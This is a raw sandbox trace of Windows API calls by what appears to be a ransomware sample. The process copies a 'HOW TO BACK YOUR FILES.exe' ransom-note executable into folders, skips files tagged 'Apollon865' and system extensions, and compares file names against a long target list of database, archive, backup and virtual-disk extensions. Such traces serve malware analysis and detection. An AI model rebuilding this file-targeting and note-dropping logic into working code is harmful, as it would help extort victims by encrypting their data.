	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="trm") returned -1
	[0074.313] lstrlenW (lpString="udb") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="udb") returned -1
	[0074.313] lstrlenW (lpString="udl") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="udl") returned -1
	[0074.313] lstrlenW (lpString="usr") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="usr") returned -1
	[0074.313] lstrlenW (lpString="v12") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="v12") returned -1
	[0074.313] lstrlenW (lpString="vis") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="vis") returned -1
	[0074.313] lstrlenW (lpString="vpd") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="vpd") returned -1
	[0074.313] lstrlenW (lpString="vvv") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="vvv") returned -1
	[0074.313] lstrlenW (lpString="wdb") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="wdb") returned -1
	[0074.313] lstrlenW (lpString="wmdb") returned 4
	[0074.313] lstrcmpiW (lpString1="y.fx", lpString2="wmdb") returned 1
	[0074.313] lstrlenW (lpString="wrk") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="wrk") returned -1
	[0074.313] lstrlenW (lpString="xdb") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="xdb") returned -1
	[0074.313] lstrlenW (lpString="xld") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="xld") returned -1
	[0074.313] lstrlenW (lpString="xmlff") returned 5
	[0074.313] lstrcmpiW (lpString1="ty.fx", lpString2="xmlff") returned -1
	[0074.313] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0
	[0074.313] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0074.313] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7910
	[0074.314] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles"
	[0074.314] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0074.314] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0074.314] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned 43
	[0074.314] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles"
	[0074.314] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.314] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.319] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x445da910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445da910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.320] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.320] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.320] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.320] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x445da910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x445da910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.320] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.320] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.320] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.320] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.320] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1
	[0074.320] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.320] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="Apollon865.txt.exe") returned -1
	[0074.320] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".") returned 1
	[0074.320] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="..") returned 1
	[0074.320] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="windows") returned -1
	[0074.320] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="16to9Squareframe_Buttongraphic.png" | out: lpString1="16to9Squareframe_Buttongraphic.png") returned="16to9Squareframe_Buttongraphic.png"
	[0074.320] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34
	[0074.321] lstrlenW (lpString="Apollon865") returned 10
	[0074.321] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.321] lstrlenW (lpString=".dll") returned 4
	[0074.321] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".dll") returned 1
	[0074.321] lstrlenW (lpString=".lnk") returned 4
	[0074.321] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".lnk") returned 1
	[0074.321] lstrlenW (lpString=".ini") returned 4
	[0074.321] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".ini") returned 1
	[0074.321] lstrlenW (lpString=".sys") returned 4
	[0074.321] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".sys") returned 1
	[0074.321] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34
	[0074.321] lstrlenW (lpString="bak") returned 3
	[0074.321] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0074.321] lstrlenW (lpString="ba_") returned 3
	[0074.321] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0074.321] lstrlenW (lpString="dbb") returned 3
	[0074.321] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0074.321] lstrlenW (lpString="vmdk") returned 4
	[0074.321] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0074.321] lstrlenW (lpString="rar") returned 3
	[0074.321] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0074.321] lstrlenW (lpString="zip") returned 3
	[0074.321] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0074.321] lstrlenW (lpString="tgz") returned 3
	[0074.321] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0074.321] lstrlenW (lpString="vbox") returned 4
	[0074.321] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0074.321] lstrlenW (lpString="vdi") returned 3
	[0074.321] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0074.321] lstrlenW (lpString="vhd") returned 3
	[0074.321] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0074.321] lstrlenW (lpString="vhdx") returned 4
	[0074.321] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0074.321] lstrlenW (lpString="avhd") returned 4
	[0074.321] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0074.321] lstrlenW (lpString="db") returned 2
	[0074.321] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0074.321] lstrlenW (lpString="db2") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0074.322] lstrlenW (lpString="db3") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0074.322] lstrlenW (lpString="dbf") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0074.322] lstrlenW (lpString="mdf") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0074.322] lstrlenW (lpString="mdb") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0074.322] lstrlenW (lpString="sql") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0074.322] lstrlenW (lpString="sqlite") returned 6
	[0074.322] lstrcmpiW (lpString1="ic.png", lpString2="sqlite") returned -1
	[0074.322] lstrlenW (lpString="sqlite3") returned 7
	[0074.322] lstrcmpiW (lpString1="hic.png", lpString2="sqlite3") returned -1
	[0074.322] lstrlenW (lpString="sqlitedb") returned 8
	[0074.322] lstrcmpiW (lpString1="phic.png", lpString2="sqlitedb") returned -1
	[0074.322] lstrlenW (lpString="xml") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0074.322] lstrlenW (lpString="$er") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0074.322] lstrlenW (lpString="4dd") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0074.322] lstrlenW (lpString="4dl") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0074.322] lstrlenW (lpString="^^^") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0074.322] lstrlenW (lpString="abs") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0074.322] lstrlenW (lpString="abx") returned 3
	[0074.322] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0074.322] lstrlenW (lpString="accdb") returned 5
	[0074.322] lstrcmpiW (lpString1="c.png", lpString2="accdb") returned 1
	[0074.322] lstrlenW (lpString="accdc") returned 5
	[0074.322] lstrcmpiW (lpString1="c.png", lpString2="accdc") returned 1
	[0074.322] lstrlenW (lpString="accde") returned 5
	[0074.322] lstrcmpiW (lpString1="c.png", lpString2="accde") returned 1
	[0074.322] lstrlenW (lpString="accdr") returned 5
	[0074.322] lstrcmpiW (lpString1="c.png", lpString2="accdr") returned 1
	[0074.323] lstrlenW (lpString="accdt") returned 5
	[0074.323] lstrcmpiW (lpString1="c.png", lpString2="accdt") returned 1
	[0074.323] lstrlenW (lpString="accdw") returned 5
	[0074.323] lstrcmpiW (lpString1="c.png", lpString2="accdw") returned 1
	[0074.323] lstrlenW (lpString="accft") returned 5
	[0074.323] lstrcmpiW (lpString1="c.png", lpString2="accft") returned 1
	[0074.323] lstrlenW (lpString="adb") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0074.323] lstrlenW (lpString="adb") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0074.323] lstrlenW (lpString="ade") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0074.323] lstrlenW (lpString="adf") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0074.323] lstrlenW (lpString="adn") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0074.323] lstrlenW (lpString="adp") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0074.323] lstrlenW (lpString="alf") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0074.323] lstrlenW (lpString="ask") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0074.323] lstrlenW (lpString="btr") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0074.323] lstrlenW (lpString="cat") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0074.323] lstrlenW (lpString="cdb") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0074.323] lstrlenW (lpString="ckp") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0074.323] lstrlenW (lpString="cma") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0074.323] lstrlenW (lpString="cpd") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0074.323] lstrlenW (lpString="dacpac") returned 6
	[0074.323] lstrcmpiW (lpString1="ic.png", lpString2="dacpac") returned 1
	[0074.323] lstrlenW (lpString="dad") returned 3
	[0074.323] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0074.324] lstrlenW (lpString="dadiagrams") returned 10
	[0074.324] lstrcmpiW (lpString1="raphic.png", lpString2="dadiagrams") returned 1
	[0074.324] lstrlenW (lpString="daschema") returned 8
	[0074.324] lstrcmpiW (lpString1="phic.png", lpString2="daschema") returned 1
	[0074.324] lstrlenW (lpString="db-journal") returned 10
	[0074.324] lstrcmpiW (lpString1="raphic.png", lpString2="db-journal") returned 1
	[0074.324] lstrlenW (lpString="db-shm") returned 6
	[0074.324] lstrcmpiW (lpString1="ic.png", lpString2="db-shm") returned 1
	[0074.324] lstrlenW (lpString="db-wal") returned 6
	[0074.324] lstrcmpiW (lpString1="ic.png", lpString2="db-wal") returned 1
	[0074.324] lstrlenW (lpString="dbc") returned 3
	[0074.324] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0074.324] lstrlenW (lpString="dbs") returned 3
	[0074.324] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0074.324] lstrlenW (lpString="dbt") returned 3
	[0074.324] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0074.324] lstrlenW (lpString="dbv") returned 3
	[0074.324] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0074.324] lstrlenW (lpString="dbx") returned 3
	[0074.324] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0074.324] lstrlenW (lpString="dcb") returned 3
	[0074.324] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0074.324] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="16to9Squareframe_SelectionSubpicture.png" | out: lpString1="16to9Squareframe_SelectionSubpicture.png") returned="16to9Squareframe_SelectionSubpicture.png"
	[0074.324] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40
	[0074.324] lstrlenW (lpString="Apollon865") returned 10
	[0074.324] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.324] lstrlenW (lpString=".dll") returned 4
	[0074.324] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.324] lstrlenW (lpString=".lnk") returned 4
	[0074.324] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.324] lstrlenW (lpString=".ini") returned 4
	[0074.324] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.324] lstrlenW (lpString=".sys") returned 4
	[0074.324] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.324] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40
	[0074.325] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="16to9Squareframe_VideoInset.png" | out: lpString1="16to9Squareframe_VideoInset.png") returned="16to9Squareframe_VideoInset.png"
	[0074.325] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31
	[0074.325] lstrlenW (lpString="Apollon865") returned 10
	[0074.325] lstrcmpiW (lpString1="oInset.png", lpString2="Apollon865") returned 1
	[0074.325] lstrlenW (lpString=".dll") returned 4
	[0074.325] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".dll") returned 1
	[0074.325] lstrlenW (lpString=".lnk") returned 4
	[0074.325] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".lnk") returned 1
	[0074.325] lstrlenW (lpString=".ini") returned 4
	[0074.325] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".ini") returned 1
	[0074.325] lstrlenW (lpString=".sys") returned 4
	[0074.325] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".sys") returned 1
	[0074.325] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31
	[0074.325] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="4to3Squareframe_Buttongraphic.png" | out: lpString1="4to3Squareframe_Buttongraphic.png") returned="4to3Squareframe_Buttongraphic.png"
	[0074.325] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33
	[0074.325] lstrlenW (lpString="Apollon865") returned 10
	[0074.325] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.325] lstrlenW (lpString=".dll") returned 4
	[0074.325] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".dll") returned 1
	[0074.325] lstrlenW (lpString=".lnk") returned 4
	[0074.325] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".lnk") returned 1
	[0074.325] lstrlenW (lpString=".ini") returned 4
	[0074.325] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".ini") returned 1
	[0074.325] lstrlenW (lpString=".sys") returned 4
	[0074.325] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".sys") returned 1
	[0074.325] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33
	[0074.325] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="4to3Squareframe_SelectionSubpicture.png" | out: lpString1="4to3Squareframe_SelectionSubpicture.png") returned="4to3Squareframe_SelectionSubpicture.png"
	[0074.325] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39
	[0074.325] lstrlenW (lpString="Apollon865") returned 10
	[0074.325] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.326] lstrlenW (lpString=".dll") returned 4
	[0074.326] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.326] lstrlenW (lpString=".lnk") returned 4
	[0074.326] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.326] lstrlenW (lpString=".ini") returned 4
	[0074.326] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.326] lstrlenW (lpString=".sys") returned 4
	[0074.326] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.326] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39
	[0074.326] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="4to3Squareframe_VideoInset.png" | out: lpString1="4to3Squareframe_VideoInset.png") returned="4to3Squareframe_VideoInset.png"
	[0074.326] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30
	[0074.326] lstrlenW (lpString="Apollon865") returned 10
	[0074.326] lstrcmpiW (lpString1="oInset.png", lpString2="Apollon865") returned 1
	[0074.326] lstrlenW (lpString=".dll") returned 4
	[0074.326] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".dll") returned 1
	[0074.326] lstrlenW (lpString=".lnk") returned 4
	[0074.326] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".lnk") returned 1
	[0074.326] lstrlenW (lpString=".ini") returned 4
	[0074.326] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".ini") returned 1
	[0074.326] lstrlenW (lpString=".sys") returned 4
	[0074.326] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".sys") returned 1
	[0074.326] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30
	[0074.326] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="BabyBoy" | out: lpString1="BabyBoy") returned="BabyBoy"
	[0074.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0074.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afce8
	[0074.326] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0074.326] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1
	[0074.326] lstrcmpiW (lpString1="BabyGirl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.326] lstrcmpiW (lpString1="BabyGirl", lpString2="Apollon865.txt.exe") returned 1
	[0074.326] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="BabyGirl" | out: lpString1="BabyGirl") returned="BabyGirl"
	[0074.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0074.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a920
	[0074.327] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0074.327] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1
	[0074.327] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.327] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0074.327] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="BlackRectangle.bmp" | out: lpString1="BlackRectangle.bmp") returned="BlackRectangle.bmp"
	[0074.327] lstrlenW (lpString="BlackRectangle.bmp") returned 18
	[0074.327] lstrlenW (lpString="Apollon865") returned 10
	[0074.327] lstrcmpiW (lpString1="tangle.bmp", lpString2="Apollon865") returned 1
	[0074.327] lstrlenW (lpString=".dll") returned 4
	[0074.327] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".dll") returned 1
	[0074.327] lstrlenW (lpString=".lnk") returned 4
	[0074.327] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".lnk") returned 1
	[0074.327] lstrlenW (lpString=".ini") returned 4
	[0074.327] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".ini") returned 1
	[0074.327] lstrlenW (lpString=".sys") returned 4
	[0074.327] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".sys") returned 1
	[0074.327] lstrlenW (lpString="BlackRectangle.bmp") returned 18
	[0074.327] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="circleround_glass.png" | out: lpString1="circleround_glass.png") returned="circleround_glass.png"
	[0074.327] lstrlenW (lpString="circleround_glass.png") returned 21
	[0074.327] lstrlenW (lpString="Apollon865") returned 10
	[0074.327] lstrcmpiW (lpString1="_glass.png", lpString2="Apollon865") returned -1
	[0074.327] lstrlenW (lpString=".dll") returned 4
	[0074.327] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".dll") returned 1
	[0074.327] lstrlenW (lpString=".lnk") returned 4
	[0074.327] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".lnk") returned 1
	[0074.327] lstrlenW (lpString=".ini") returned 4
	[0074.327] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".ini") returned 1
	[0074.327] lstrlenW (lpString=".sys") returned 4
	[0074.327] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".sys") returned 1
	[0074.327] lstrlenW (lpString="circleround_glass.png") returned 21
	[0074.328] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="circleround_selectionsubpicture.png" | out: lpString1="circleround_selectionsubpicture.png") returned="circleround_selectionsubpicture.png"
	[0074.328] lstrlenW (lpString="circleround_selectionsubpicture.png") returned 35
	[0074.328] lstrlenW (lpString="Apollon865") returned 10
	[0074.328] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.328] lstrlenW (lpString=".dll") returned 4
	[0074.328] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".dll") returned 1
	[0074.328] lstrlenW (lpString=".lnk") returned 4
	[0074.328] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".lnk") returned 1
	[0074.328] lstrlenW (lpString=".ini") returned 4
	[0074.328] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".ini") returned 1
	[0074.328] lstrlenW (lpString=".sys") returned 4
	[0074.328] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".sys") returned 1
	[0074.328] lstrlenW (lpString="circleround_selectionsubpicture.png") returned 35
	[0074.328] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="circleround_videoinset.png" | out: lpString1="circleround_videoinset.png") returned="circleround_videoinset.png"
	[0074.328] lstrlenW (lpString="circleround_videoinset.png") returned 26
	[0074.328] lstrlenW (lpString="Apollon865") returned 10
	[0074.328] lstrcmpiW (lpString1="oinset.png", lpString2="Apollon865") returned 1
	[0074.328] lstrlenW (lpString=".dll") returned 4
	[0074.328] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".dll") returned 1
	[0074.328] lstrlenW (lpString=".lnk") returned 4
	[0074.328] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".lnk") returned 1
	[0074.328] lstrlenW (lpString=".ini") returned 4
	[0074.328] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".ini") returned 1
	[0074.328] lstrlenW (lpString=".sys") returned 4
	[0074.328] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".sys") returned 1
	[0074.328] lstrlenW (lpString="circleround_videoinset.png") returned 26
	[0074.328] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Circle_ButtonGraphic.png" | out: lpString1="Circle_ButtonGraphic.png") returned="Circle_ButtonGraphic.png"
	[0074.328] lstrlenW (lpString="Circle_ButtonGraphic.png") returned 24
	[0074.328] lstrlenW (lpString="Apollon865") returned 10
